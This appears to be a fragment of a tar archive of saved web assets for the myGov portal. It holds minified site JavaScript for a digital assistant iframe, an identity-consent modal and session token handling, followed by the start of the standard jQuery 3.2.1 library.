addListenerForIframe(){window.addEventListener("message",function(e){if(e.data&&e.data.type=="error"){e.stopPropagation();jQuery("#va_chatAnchor").hide();}else{if(e.data&&e.data.type=="interaction"){e.stopPropagation();recordBotInteraction(new Date());}else{if(e.data&&e.data.type=="ready"){e.stopPropagation();if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}jQuery("#va_chatAnchor").show();}else{if(e.data&&e.data.type=="reload"){e.stopPropagation();if(va_isOpen){if(va_isMobile){toggleVAMobile();}else{toggleVADesktop();}}}else{if(e.data=="loopFocusForward"){skipToSkipToConversation();e.stopPropagation();}else{if(e.data=="loopFocusForwardError"){setTimeout(function(){skipToResizeIcon();},100);e.stopPropagation();}else{if(e.data=="addOnBackwardsTabbing"){addOnBackwardsTabbing();}else{if(e.data=="loopFocusForwardOptionButton"){skipToSkipToConversation();addSkipToConversationTabListener();}else{if(e.data=="errorDisplayed"){hideSkipToConversation();loopFocusBackwardWithError();}else{if(e.data=="textboxFocus"){setTimeout(function(){scrollPageToBottom();},100);}}}}}}}}}}});}function addDigitalAssistant(){va_isMobile=isWindowMobile();insertDiv();insertIframe();insertIframeSrc();addOnResize();addSkipToBot();addOnSkipToConversation();addListenerForIframe();addOnClickDesktop();addOnClickMobile();window.addEventListener("resize",responsiveResize);}function scrollPageToBottom(){window.scrollTo(0,document.body.scrollHeight);}function isIE(){var myNav=navigator.userAgent.toLowerCase();return(myNav.indexOf("msie")!=-1)?parseInt(myNav.split("msie")[1]):false;}function newShowIdentityModal(){const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-hide");modalBackground.classList.add("new-fade");modalBackground.classList.add("new-show");const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","true");modalContent.classList.remove("new-hide");modalContent.classList.add("new-slide-in");modalContent.setAttribute("aria-modal","true");modalContent.setAttribute("aria-expanded","true");modalContent.setAttribute("aria-hidden","false");document.getElementById("first-dismiss").focus();document.getElementById("identity-display-form").addEventListener("submit",ignoreSubmit);document.getElementById("digital-id-modal-background").addEventListener("click",newHideIdentityModal);document.addEventListener("keydown",handleKeyboardInput);if(window.dynaTrace){var action=window.dynaTrace.enterAction("showIdentityModal","click");window.dynaTrace.leaveAction(action);}}function ignoreSubmit(event){event.preventDefault();return false;}function handleKeyboardInput(trigger){if(trigger.code){switch(trigger.code){case"Escape":keyboardDismiss();break;case"Tab":const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){trapFocusPrimary(trigger);}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){trapFocusSecondary(trigger);}break;case"Enter":if(document.activeElement===document.getElementById("decline-digital-identity")){trigger.preventDefault();document.getElementById("decline-digital-identity").checked=true;}if(document.activeElement===document.getElementById("confirm-digital-identity")){trigger.preventDefault();document.getElementById("confirm-digital-identity").checked=true;}document.getElementById("identity-first-confirm-button").disabled=false;break;}}}function trapFocusPrimary(event){var focusableElements=[document.getElementById("first-dismiss"),document.getElementById("decline-digital-identity"),document.getElementById("confirm-digital-identity"),document.getElementById("identity-first-confirm-button")];var firstFocused=focusableElements[0];var lastFocused=focusableElements[3];if(lastFocused.disabled){lastFocused=focusableElements[1];}if(event.shiftKey&&event.keyCode===9){if(document.activeElement===firstFocused){lastFocused.focus();event.preventDefault();}}else{if(document.activeElement===lastFocused){firstFocused.focus();event.preventDefault();}}}function removeSelection(){document.getElementById("confirm-digital-identity").checked=false;document.getElementById("decline-digital-identity").checked=false;document.getElementById("identity-first-confirm-button").disabled=true;}function trapFocusSecondary(event){var focusableElements=[document.getElementById("second-dismiss"),document.getElementById("return-to-mygov-link"),document.getElementById("identity-second-confirm-button")];var first=focusableElements[0];var last=focusableElements[2];if(event.shiftKey&&event.keyCode===9){if(document.activeElement===first){last.focus();event.preventDefault();}else{if(document.activeElement===focusableElements[1]){first.focus();event.preventDefault();}}}else{if(document.activeElement===last){first.focus();event.preventDefault();}}}function keyboardDismiss(){const primaryModal=document.getElementById("new-modal-content");const secondaryModal=document.getElementById("secondary-identity-modal");if(primaryModal&&primaryModal.getAttribute("open")==="true"){newHideIdentityModal();}if(secondaryModal&&secondaryModal.getAttribute("open")==="true"){hideSecondaryModal();}}function enableProgressButton(){const button=document.getElementById("identity-first-confirm-button");button.disabled=false;}function summonSecondModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("hidden");secondaryModal.classList.add("shown");secondaryModal.setAttribute("open","true");secondaryModal.setAttribute("aria-modal","true");secondaryModal.setAttribute("aria-expanded","true");secondaryModal.setAttribute("aria-hidden","false");document.getElementById("second-dismiss").focus();}function hideSecondaryModal(){const secondaryModal=document.getElementById("secondary-identity-modal");secondaryModal.classList.remove("shown");secondaryModal.classList.add("hidden");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("open","false");secondaryModal.setAttribute("aria-modal","false");secondaryModal.setAttribute("aria-expanded","false");secondaryModal.setAttribute("aria-hidden","true");fadeOutBackground();}function harshHideIdentityModal(){const modalContent=document.getElementById("new-modal-content");modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");summonSecondModal();}function fadeOutBackground(){document.getElementById("digital-id-modal-background").removeEventListener("click",newHideIdentityModal);const modalBackground=document.getElementById("digital-id-modal-background");modalBackground.classList.remove("new-fade");modalBackground.classList.remove("new-show");modalBackground.classList.add("new-fade-out");removeSelection();setTimeout(function(){modalBackground.classList.remove("new-fade-out");modalBackground.classList.add("new-hide");},199);}function newHideIdentityModal(){const secondaryModal=document.getElementById("secondary-identity-modal");if(secondaryModal.classList.contains("shown")){hideSecondaryModal();}fadeOutBackground();const modalContent=document.getElementById("new-modal-content");modalContent.setAttribute("open","false");modalContent.classList.add("new-slide-out");setTimeout(function(){modalContent.classList.remove("new-slide-out");modalContent.classList.add("new-hide");modalContent.setAttribute("aria-modal","false");modalContent.setAttribute("aria-expanded","false");modalContent.setAttribute("aria-hidden","true");},999);}$("#identity-first-confirm-button").on("click",function(e){e.preventDefault();if(document.getElementById("confirm-digital-identity").checked===false){if(window.dynaTrace){var noIdentityAction=window.dynaTrace.enterAction("identityNotConnected","click");window.dynaTrace.leaveAction(noIdentityAction);}harshHideIdentityModal();return false;}else{if(window.dynaTrace){var hasIdentityAction=window.dynaTrace.enterAction("identityConnected","click");window.dynaTrace.leaveAction(hasIdentityAction);}window.location=document.getElementById("identity-first-confirm-button").getAttribute("data-kickoff-url");return false;}});var lastInteractionDate;var timeoutEventId;function getToken(isAuthenticated){var xhttp=new XMLHttpRequest();var jsontext;xhttp.onreadystatechange=function(){try{if(this.readyState==4&&this.status==200){var jsontext=JSON.parse(this.responseText);storage.save(jsontext);var source=sessionStorage.url+sessionStorage.jwt;if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){source="";storage.clear();}}setIFrameSrc(source);}}catch(e){storage.clear();}};var host=window.location.hostname;var tokenUrl="/mga/sps/apiauthsvc/policy/vagt";if(isAuthenticated&&typeof(Storage)!=="undefined"){xhttp.open("POST",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");var token=sessionStorage.jwt;xhttp.send(JSON.stringify({token:token}));}else{xhttp.open("GET",tokenUrl,true);xhttp.setRequestHeader("Content-Type","application/json");xhttp.setRequestHeader("Accept","application/json");xhttp.send();}return sessionStorage.jwt;}function isValidToken(token){var decodedToken=parseToken(token);if(decodedToken.exp>Date.now()/1000){return true;}return false;}function parseToken(token){var base64Url=token.split(".")[1];var base64=base64Url.replace(/-/g,"+").replace(/_/g,"/");return JSON.parse(window.atob(base64));}function checkAuthenticated(){var isAuthenticated=false;var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}else{if(isLoginPage){isAuthenticated=false;}}return isAuthenticated;}function setDAsource(){var isAuthenticated=false;var daSrc="";var token="";var isAuthHomepage=($("#digitalassistant-auth").length>0);var isLoginPage=($("#digitalassistant-unauth").length>0);if(isAuthHomepage){isAuthenticated=true;token=getToken(isAuthenticated);}else{if(isLoginPage){isAuthenticated=false;storage.clear();token=getToken(isAuthenticated);}else{if(storage.check()&&isValidToken(sessionStorage.jwt)){daSrc=sessionStorage.url+sessionStorage.jwt;}else{if(isAuthHomepage||(storage.check()&&sessionStorage.aut==="true")){isAuthenticated=true;}token=getToken(isAuthenticated);if(typeof token!="undefined"&&storage.check()){daSrc=sessionStorage.url+token;}}}}if(typeof(Storage)!=="undefined"){if(sessionStorage.dis==="false"){daSrc="";}}return daSrc;}function recordBotInteraction(currentInteractionDate){var timeoutValue=300000;var diff=(currentInteractionDate-lastInteractionDate);if(typeof timeoutEventId=="undefined"||typeof lastInteractionDate=="undefined"){timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}else{if(diff<timeoutValue){clearTimeout(timeoutEventId);timeoutEventId=setTimeout(function(){initiateNewConversation();},timeoutValue);}}lastInteractionDate=currentInteractionDate;}function initiateNewConversation(){var isAuthenticated=checkAuthenticated();if(!isAuthenticated){getToken(isAuthenticated);}}var storage={save:function(result){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}if(typeof result!="undefined"&&typeof(Storage)!=="undefined"){sessionStorage.url=result["url"];sessionStorage.jwt=result["jwt"];sessionStorage.aut=result["authenticated"];sessionStorage.dis=result["enable"];}},clear:function(){if(typeof(Storage)!=="undefined"){sessionStorage.clear();}},check:function(){if(typeof(Storage)!=="undefined"){if(sessionStorage.jwt&&sessionStorage.url){return true;}else{return false;}}}};function isWebView(){var userAgent=window.navigator.userAgent.toLowerCase();var safari=/safari/.test(userAgent);var ios=/iphone|ipod|ipad/.test(userAgent);if(ios){if(!safari){return true;}}else{return false;}}$(document).ready(function(){if($("#digitalassistant").length>0||($("#digitalassistant-auth").length>0)){if(!isWebView()){addDigitalAssistant();}}});$(document).ready(function(){(function($){$(":radio[data-cadi-flow]").on("change",function(){var selected=this.value;switch(selected){case"digitalID":jQuery("#connectedIdButton").hide();jQuery("#digitalIdButton").show();break;case"connectedID":jQuery("#connectedIdButton").show();jQuery("#digitalIdButton").hide();break;default:}});})(jQuery);});mygov/app/sms_files/mgv2-vendor.js.download000064400000450717151676702570015021 0ustar00/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */

!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b||d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(f.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(a<0?b:0);return this.pushStack(c>=0&&c<b?[this[c]]:[])},end:function(){return this.prevObject||this.constructor()},push:h,sort:c.sort,splice:c.splice},r.extend=r.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||r.isFunction(g)||(g={}),h===i&&(g=this,h--);h<i;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(r.isPlainObject(d)||(e=Array.isArray(d)))?(e?(e=!1,f=c&&Array.isArray(c)?c:[]):f=c&&r.isPlainObject(c)?c:{},g[b]=r.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},r.extend({expando:"jQuery"+(q+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===r.type(a)},isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){var b=r.type(a);return("number"===b||"string"===b)&&!isNaN(a-parseFloat(a))},isPlainObject:function(a){var b,c;return!(!a||"[object Object]"!==k.call(a))&&(!(b=e(a))||(c=l.call(b,"constructor")&&b.constructor,"function"==typeof c&&m.call(c)===n))},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?j[k.call(a)]||"object":typeof a},globalEval:function(a){p(a)},camelCase:function(a){return a.replace(t,"ms-").replace(u,v)},each:function(a,b){var c,d=0;if(w(a)){for(c=a.length;d<c;d++)if(b.call(a[d],d,a[d])===!1)break}else for(d in a)if(b.call(a[d],d,a[d])===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(s,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(w(Object(a))?r.merge(c,"string"==typeof a?[a]:a):h.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:i.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;d<c;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;f<g;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,e,f=0,h=[];if(w(a))for(d=a.length;f<d;f++)e=b(a[f],f,c),null!=e&&h.push(e);else for(f in a)e=b(a[f],f,c),null!=e&&h.push(e);return g.apply([],h)},guid:1,proxy:function(a,b){var c,d,e;if("string"==typeof b&&(c=a[b],b=a,a=c),r.isFunction(a))return d=f.call(arguments,2),e=function(){return a.apply(b||this,d.concat(f.call(arguments)))},e.guid=a.guid=a.guid||r.guid++,e},now:Date.now,support:o}),"function"==typeof Symbol&&(r.fn[Symbol.iterator]=c[Symbol.iterator]),r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(a,b){j["[object "+b+"]"]=b.toLowerCase()});function w(a){var b=!!a&&"length"in a&&a.length,c=r.type(a);return"function"!==c&&!r.isWindow(a)&&("array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c<d;c++)if(a[c]===b)return c;return-1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",M="\\["+K+"*("+L+")(?:"+K+"*([*^$|!~]?=)"+K+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+L+"))|)"+K+"*\\]",N=":("+L+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+M+")*)|.*)\\)|)",O=new RegExp(K+"+","g"),P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return 